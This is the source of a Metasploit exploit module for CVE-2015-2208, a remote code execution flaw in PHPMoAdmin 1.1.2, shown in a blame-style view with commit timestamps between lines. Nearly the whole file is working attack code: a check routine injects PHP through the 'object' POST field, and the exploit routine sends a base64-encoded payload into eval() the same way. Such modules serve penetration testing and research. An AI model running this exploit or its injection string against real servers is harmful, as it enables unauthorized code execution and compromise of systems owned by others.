metasploit-framework/modules/exploits/multi/http/phpmoadmin_exec.rb

81 lines
2.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2015-03-04 18:17:31 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2015-03-05 17:29:44 +00:00
'Name' => 'PHPMoAdmin 1.1.2 Remote Code Execution',
2015-03-04 18:17:31 +00:00
'Description' => %q{
This module exploits an arbitrary PHP command execution vulnerability due to a
2015-03-04 18:17:31 +00:00
dangerous use of eval() in PHPMoAdmin.
},
'Author' =>
[
'Pichaya Morimoto pichaya[at]ieee.org', # Public PoC
2015-03-04 18:17:31 +00:00
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-2208' ],
[ 'EDB', '36251' ],
2015-03-04 18:17:31 +00:00
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Mar/19' ],
[ 'URL', 'http://seclists.org/oss-sec/2015/q1/743' ]
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
2015-03-04 18:17:31 +00:00
'Targets' =>
[
[ 'PHPMoAdmin', { } ],
],
'DisclosureDate' => 'Mar 03 2015',
2015-03-04 18:17:31 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "The URI path of the PHPMoAdmin page", "/"])
])
2015-03-04 18:17:31 +00:00
end
def check
testrun = Rex::Text::rand_text_alpha(10)
2015-03-04 18:17:31 +00:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri,'moadmin.php'),
2015-03-04 18:17:31 +00:00
'method' => 'POST',
'vars_post' =>
{
'object' => "1;echo '#{testrun}';exit",
2015-03-04 18:17:31 +00:00
}
})
if res and res.body.include?(testrun)
2015-03-04 18:17:31 +00:00
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Executing payload...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri,'moadmin.php'),
2015-03-04 18:17:31 +00:00
'method' => 'POST',
'vars_post' =>
{
'object' => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
2015-03-04 18:17:31 +00:00
}
})
end
end